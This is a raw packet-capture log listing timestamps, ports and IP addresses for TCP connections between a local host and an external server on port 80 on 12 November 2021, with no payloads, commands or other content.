Nov 12, 2021 22:23:38.282738924 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282751083 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282761097 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282779932 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282785892 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282810926 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282839060 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282840014 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282866001 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282867908 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282882929 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282898903 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282907963 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282947063 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.283220053 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.306207895 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.306231022 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.306271076 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.306291103 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.306387901 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.306456089 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.307173014 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307230949 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307249069 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307262897 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.307267904 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307288885 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307301044 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.307307959 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307327032 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307357073 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307362080 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.307375908 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307405949 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307858944 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307936907 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307965994 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.307986021 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308032990 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308052063 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308079004 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308099031 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308129072 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308149099 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308167934 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308442116 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308581114 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308614969 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308638096 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308698893 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308717966 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308747053 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308765888 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308793068 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308809996 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308835983 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308883905 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.308911085 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.329555035 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.329596043 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.329703093 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.329726934 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.330357075 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.333059072 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.333080053 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.333215952 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.391035080 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.391508102 CET	49869	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.393640041 CET	49870	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.413891077 CET	80	49869	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.414030075 CET	49869	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.416594028 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.416620016 CET	80	49870	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.416729927 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.416838884 CET	49870	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.417346001 CET	49870	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.444250107 CET	80	49870	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.446469069 CET	80	49870	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.446808100 CET	49870	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.563150883 CET	49870	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.564897060 CET	49871	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.585767984 CET	80	49870	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.585901976 CET	49870	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.588011026 CET	80	49871	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.588908911 CET	49871	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.588937044 CET	49871	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.611792088 CET	80	49871	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.615972996 CET	80	49871	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.616913080 CET	49871	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.718928099 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.719058990 CET	49871	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.722309113 CET	49873	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.741794109 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.741827011 CET	80	49871	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.742017031 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.742609024 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.742760897 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.742829084 CET	49871	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.742964029 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.743061066 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.744807959 CET	80	49873	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.748130083 CET	49873	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.759351015 CET	49873	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.768168926 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768193960 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768223047 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768241882 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768268108 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768285990 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768311024 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768328905 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768354893 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768373966 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768399954 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768418074 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.768506050 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.768564939 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.782275915 CET	80	49873	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.785475016 CET	80	49873	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.785659075 CET	49873	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.791125059 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.791148901 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.791187048 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.791213989 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.791255951 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.791318893 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.791352987 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.791398048 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.791399002 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.791424990 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.791449070 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.791476965 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.791486979 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.791518927 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.791548014 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.791553974 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.791585922 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.791631937 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.792012930 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.792042971 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.792072058 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.792130947 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.792164087 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.792191982 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.792210102 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.792246103 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.792309046 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.792329073 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.792758942 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.792793036 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.792877913 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.815787077 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.815848112 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.815861940 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.815874100 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.815885067 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.815897942 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.815908909 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.815983057 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.816004992 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.816066980 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.816164017 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.816369057 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.816917896 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.816930056 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.816942930 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817011118 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817032099 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817040920 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817048073 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817059994 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817068100 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817080021 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817138910 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817152023 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817164898 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817176104 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817188025 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817311049 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817414045 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817426920 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817439079 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817663908 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817675114 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817863941 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817874908 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817888021 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817903042 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817986965 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.817998886 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.818135977 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840378046 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840400934 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840415955 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840516090 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840532064 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840542078 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840557098 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840574026 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840584040 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840593100 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840603113 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840612888 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.840629101 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.843789101 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.844650984 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.891987085 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.920583963 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.921827078 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.032799006 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.033106089 CET	49873	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.034785032 CET	49874	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.059878111 CET	80	49872	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.059912920 CET	80	49873	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.060111046 CET	49872	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.060175896 CET	49873	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.061650038 CET	80	49874	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.061887026 CET	49874	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.063790083 CET	49874	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.090415955 CET	80	49874	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.095176935 CET	80	49874	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.095519066 CET	49874	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.204219103 CET	49874	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.205492973 CET	49875	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.227971077 CET	80	49874	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.228017092 CET	80	49875	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.228121042 CET	49874	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.228301048 CET	49875	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.229237080 CET	49875	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.253813028 CET	80	49875	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.255722046 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.256118059 CET	80	49875	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.256525040 CET	49875	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.281109095 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.281294107 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.282223940 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.282376051 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.282567978 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.282690048 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.304550886 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.304641008 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.304799080 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.304840088 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.304872036 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.304907084 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.305071115 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.305083990 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.305094957 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.305108070 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.305159092 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.305160999 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.305175066 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.305198908 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.305233002 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.305898905 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.305917978 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.305998087 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.327867985 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.327893972 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.327909946 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.327924013 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.327939987 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.327954054 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.327974081 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.327982903 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.327984095 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328000069 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328015089 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328041077 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328041077 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.328068018 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.328068018 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328071117 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328077078 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328088045 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328116894 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.328346968 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.328911066 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328932047 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328948975 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328968048 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.328974962 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.329016924 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.329037905 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.350433111 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350467920 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350493908 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350585938 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.350620985 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.350651979 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350680113 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350707054 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350732088 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350733995 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.350752115 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.350759983 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350786924 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350797892 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.350816965 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350824118 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.350847006 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350873947 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350899935 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350925922 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350950956 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.350977898 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351002932 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351030111 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351058960 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351070881 CET	49876	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.351084948 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351111889 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351140976 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351165056 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351191044 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351217031 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351243973 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351272106 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351296902 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351330996 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351356983 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351382017 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351408958 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351433992 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.351463079 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.352438927 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.352467060 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.352493048 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.352519035 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.360896111 CET	49875	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.361675024 CET	49877	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:39.374938965 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.374980927 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.374998093 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375036955 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375057936 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375083923 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375111103 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375135899 CET	80	49876	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:39.375161886 CET	80	49876	178.208.83.45	192.168.2.4
